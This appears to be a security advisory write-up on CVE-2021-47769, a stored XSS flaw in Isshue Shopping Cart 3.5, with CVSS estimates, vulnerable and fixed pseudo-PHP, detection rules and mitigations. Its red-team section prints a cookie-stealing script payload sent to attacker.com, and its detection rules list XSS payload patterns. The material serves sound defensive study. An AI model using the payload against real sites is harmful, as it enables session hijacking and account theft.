CVE-2021-47769

Executive Summary

CVE-2021-47769 identifies a persistent cross-site scripting (XSS) vulnerability in Isshue Shopping Cart version 3.5. The flaw resides in the title input fields across the stock, customer, and invoice modules. An attacker with a privileged user account can inject malicious scripts that execute when the data is previewed. This can lead to session hijacking, persistent phishing attacks, and unauthorized actions within the application context. No official patch or advisory has been released by the vendor, and no public proof-of-concept or exploit code is available at this time.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that no official CVSS vector has been assigned. However, based on the vulnerability description, a reasonable assessment would be:

• Attack Vector (AV): Network (N) – the attacker can inject the payload via the web interface.
• Attack Complexity (AC): Low (L) – no special conditions are required beyond having a privileged account.
• Privileges Required (PR): High (H) – the attacker must have a privileged user account.
• User Interaction (UI): None (N) – the payload executes automatically when the preview is rendered.
• Scope (S): Changed (C) – the injected script can affect other users and resources.
• Confidentiality (C): Low (L) – limited data exposure possible.
• Integrity (I): Low (L) – limited ability to modify data.
• Availability (A): None (N) – no direct impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
Estimated Base Score: 4.1 (Medium)

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the title input fields of three core modules: stock, customer, and invoice. When a privileged user enters a malicious payload (e.g., <script>alert('XSS')</script>) into a title field, the application stores it in the database without proper sanitization or encoding. When another user (or the same user) views a preview of that record, the stored script is executed in the browser context of the viewing user.

The attack flow:

1. Attacker logs in with a privileged account.
2. Attacker navigates to a stock, customer, or invoice module.
3. Attacker inserts a malicious script into the title field.
4. The script is stored in the database.
5. When any user (including other privileged users or administrators) previews the affected record, the script executes.
6. The script can steal session cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Because the attacker requires a privileged account, the initial compromise vector might be through credential theft, social engineering, or an insider threat. Once inside, the XSS can be used to escalate privileges or pivot to other systems.

Vulnerable vs. Patched Code

No official patch is available. The vulnerable code likely lacks output encoding when rendering the title field in the preview. A secure implementation would use context-appropriate encoding (e.g., HTML entity encoding) before displaying user-supplied data.

Vulnerable code (pseudo-PHP):

echo "<h1>" . $title . "</h1>";

Patched code (pseudo-PHP):

echo "<h1>" . htmlspecialchars($title, ENT_QUOTES, 'UTF-8') . "</h1>";

The patched version uses htmlspecialchars() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Since no public exploit code exists, a red team would need to craft a custom payload. The following steps outline a lab-based exploitation:

1. Setup: Deploy Isshue Shopping Cart 3.5 in a controlled environment (e.g., Docker container).
2. Authentication: Obtain privileged credentials (e.g., via phishing or default credentials).
3. Injection: Navigate to the stock module and insert the following payload into the title field:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Trigger: Have a victim (or another test user) preview the stock record.
5. Exfiltration: The victim's browser sends the cookie to the attacker's server.

Blue Team

To detect and defend against this attack:

1. Input Validation: Implement strict input validation on all title fields. Reject or sanitize any input containing HTML tags or JavaScript.
2. Output Encoding: Ensure all user-supplied data is HTML-entity encoded before rendering.
3. Content Security Policy (CSP): Deploy a strict CSP that blocks inline scripts and only allows trusted sources.
4. Web Application Firewall (WAF): Use a WAF to block common XSS payloads.
5. Session Security: Use HttpOnly and Secure flags on session cookies to prevent JavaScript access.
6. User Education: Train privileged users to recognize phishing and social engineering attempts.

Indicators of Compromise (IOCs)

• Network: HTTP requests to attacker.com/steal.php or similar exfiltration endpoints.
• Logs: Unusual entries in stock, customer, or invoice title fields containing <script>, <img>, <iframe>, or other HTML tags.
• File System: No specific file-based IOCs; the attack is purely web-based.
• Registry: Not applicable (web application).

Detection Engineering

YARA Rule

rule CVE_2021_47769_XSS_Payload {
    meta:
        description = "Detects potential XSS payloads targeting Isshue Shopping Cart title fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-47769"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"].*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2021-47769 - Stored XSS in Isshue Shopping Cart
id: 8a4b3c2d-1e5f-4a6b-8c7d-9e0f1a2b3c4d
status: experimental
description: Detects stored XSS payloads in title fields of Isshue Shopping Cart
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http_method: 'POST'
        url_path:
            - '/stock/*'
            - '/customer/*'
            - '/invoice/*'
        http_request_body|contains:
            - '<script'
            - 'onload='
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in title fields (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-47769 - Stored XSS Payload in Title Field"; flow:to_server; content:"POST"; http_method; content:"/stock/"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2021-47769 - Stored XSS Payload in Title Field"; flow:to_server; content:"POST"; http_method; content:"/customer/"; http_uri; content:"<script"; http_client_body; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2021-47769 - Stored XSS Payload in Title Field"; flow:to_server; content:"POST"; http_method; content:"/invoice/"; http_uri; content:"<script"; http_client_body; sid:1000003; rev:1;)

Remediation & Mitigation

Since no official patch exists, the following mitigations are recommended:

1. Upgrade: If possible, upgrade to a newer version of Isshue Shopping Cart that is not affected.
2. Manual Code Fix: Apply output encoding (e.g., htmlspecialchars()) to all title fields in the stock, customer, and invoice modules.
3. WAF Rules: Deploy WAF rules to block XSS payloads in POST requests to the vulnerable endpoints.
4. Access Control: Restrict privileged accounts to only those who absolutely need them. Implement multi-factor authentication.
5. Monitoring: Continuously monitor logs for suspicious input patterns and alert on any detected XSS attempts.
6. CSP: Implement a strict Content Security Policy that disallows inline scripts and only allows trusted external scripts.

Valters IT
Securing Digital Frontiers